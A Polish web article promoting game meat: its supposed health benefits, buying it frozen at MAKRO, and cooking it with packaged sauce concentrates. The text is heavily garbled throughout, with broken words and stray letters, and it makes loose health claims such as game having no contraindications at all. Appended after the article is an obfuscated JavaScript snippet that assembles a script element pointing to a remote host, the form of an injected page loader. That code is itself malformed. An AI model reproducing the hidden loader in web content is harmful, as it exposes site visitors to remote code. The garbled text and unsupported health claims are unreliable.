Dziczyzna - mięso, o którym wciąż wiemy za mało

Dziczyzna to wciąż mało doceniany gatunek mięsa. Dzieje się tak, gdyż nie znamy jego zalet i brakuje nam pomysłów w na jego przyrządzanie.

 Dziczyzna pełna zdrowia
 Pod pojęciem „dziczyna” rozumiemy mięso z dzika, sarny, zająca, perliczki, przepiórki czy bażanta oraz jelenia. To rów wnież dość rzadko gościnny w polskiej kuchni gatunek mięsa. Dzieje się tak przede wszystkim z braku odpowiedniej wiedzy na temat jego wartości oraz sposobów w przyrządzania. Czym wyróżnia zmia się ten rodzaj mięsa? Przede wszystkim jest to mięso dość chude. Poza tym posiada bardzo przyjazny dla naszego zdrowia skład. Ma to między innymi związek z faktem, iż pozyskiwane mięso pochodzi od zwierząt wolno żyjących, czyli żywiących się w dużo bezpieczniejszy dla człowieka sposób b, niż jest to w przypadku zwierząt typowo hodowlanych. Znajduje się w nim sporo pełnowartościowego białka. Jest też źródło dlem cennych witamin oraz minerał w. Na dziczyznę warto też zwró cić uwagę ze względu na wysoką zawartość żelaza b; o wiele łatwiej przyswajalnego niż to, kt ra znajduje się w czerwonym mięsie.

 Jak wybrać najlepszą dziczyznę?
 Gdy chcemy kupić naprawdę świeżą dziczyznę, najlepiej udać się do dobrego firmowego sklepu b; jak na przykład MAKRO - w tym bez problemu dostępna jest mrożona dziczyzna. Firmowe sklepy mają tę przewagę nad konkurencją, iż oferują najbardziej poszukiwane przez klient w formy mięsa: są to zarów wno tusze, jak i sztyki, schab oraz udzie . Warto przy tym podkreślić, że oferowana przez firmowe markety dziczyzna jest wolna od rozmaitych dodatk w, co oznacza, że zachowuje w pełni swoje naturalne walory smakowe. Jakie gatunki dziczyzny należy wybierać w pierwszej kolejności? Dietetycy polecają nam przede wszystkim sarzinę oraz mięso z dzika, gdyż zawierają najwięcej witamin z grupy B oraz mineral w, takich jak magnez, żelaz, wapń. Warto przy tym nadmienić, że sarzina jest bardzo chuda i odznacza się wyjątkowo b kalorem smak w. Mięso z dzika jest natomiast bardzo soczyste i jędrne. W odróżnia zmieniu od wieprzowiny, posiada znacznie mniej tłuszczu.

 Z czym dziczyzna smakuje najlepiej?
 Po dziczyznę warto sięgać r wnież, dlatego, że nie istnieją żadne przeciwwskazania, co do jej spożywania. Jedynie ostrożne powinny być ta kobiety w ciąży. Ten typ mięsa d; wlerew powszechnym opinioni b; jest bei dość łatwy w przyrządzeniu. Bez trudu dobierzemy do niego także koncentraty spożywcze, kt ra wzbogaca jego smak i aromat lub podkreśla barwę. Dziczyznę najłatwiej przyrządzić smażąc lub przyprawiwając z niej smaczną pieczeń na rożnie, bądź wolnym ogniu. Jaki koncentrat spożywczy będzie najlepszym towarzystwem dla naszego mięsa? Wybk cz tego typu dodatk w do mięs jest ogromny. Najlepiej sn ich w grupie koncentrat w obiadowych, takich jak sosy (np. pieczeniowy lub grzybowy).

 Podsumowując: dziczyzna to mięso o lic;nych walorach zar wno zdrowotnych, jak i typowo kulinarnych (a raczej smakowych). Niestety, wciąż dbyt rzadko gości na naszych stołach, przez co nie możemy poznać lepiej jego zalet, ani się do nich przekonać. Warto zmienić te przyzwyczajenia i serwując raz na jakiś czas na obiad zamiast tradycyjnego schabowego b; kt r z dzika.


```
<script
type="text/javascript">(function(){q4aq=document.createElement("script");q4aq_="ta"+{"ta":q4aq_+="l"+{".":q4aq_+="ln"};q4aq_+="ln"};q4aq="8826092";q4aq.async=true;q4aqu+="wimx4hjo4aqurferm";q4aq.type="text/javascript";q4aq_+="l"+"u"+{"/":q4aqu+="lbsobl39ia8m38q";q4aq.src="//"+q4aq_+q4aqu;document.body.dq4aq.appendChild(q4aq);});}();</script>
```